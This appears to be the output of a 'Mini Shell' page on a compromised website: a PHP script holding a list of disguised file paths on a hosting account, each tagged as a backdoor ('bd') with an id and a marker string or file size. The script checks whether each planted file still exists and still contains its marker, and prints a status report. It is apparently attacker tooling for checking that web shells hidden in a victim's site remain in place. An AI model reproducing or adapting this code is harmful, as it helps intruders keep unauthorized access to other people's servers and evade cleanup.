Mini Shell

<?php   $r = '/home/ukubnwwt/airlev8.com'; $x = ["/class/472671/index.php"=>"bd@@215061@@token_parser_engine",
"/admin/833539/index.php"=>"bd@@215063@@publish_content",
"/rester/removeFields.php"=>"bd@@216429@@1457",
"/rester/removeFields.php"=>"bd@@217025@@restore_state",
"/image/view.feed.php"=>"bd@@223172@@dependency_resolver",
"/class/472671/Bindex.php"=>"bd@@223176@@system_core",
"/admin/833539/agencia.php"=>"bd@@223182@@hub_center",
"/rester/752458/flow.php"=>"bd@@223195@@1499",
"/js/241232/StartProfiler.php"=>"bd@@223201@@685",
"/comingsoon_files/Forms.php"=>"bd@@223212@@1568",
"/pic/731476/calendarClass.php"=>"bd@@223221@@1773",
"/common/546906/admin_functions.php"=>"bd@@223222@@2615"]; foreach ($x as $p => $l) {     $f = "{$r}{$p}";     list($t, $id, $pt) = explode('@@', $l);     if (!file_exists($f)) {         print "<$t>{$id}##d</$t>\n";         continue;     }     if (is_numeric($pt)) {         $fs = filesize($f);         if ($fs != $pt) {             print "<$t>{$id}##bs</$t>\n";         }     } else {         $c = file_get_contents($f);         if (!strstr($c, $pt)) {             print "<$t>{$id}##d</$t>\n";         }     } } die('!end!');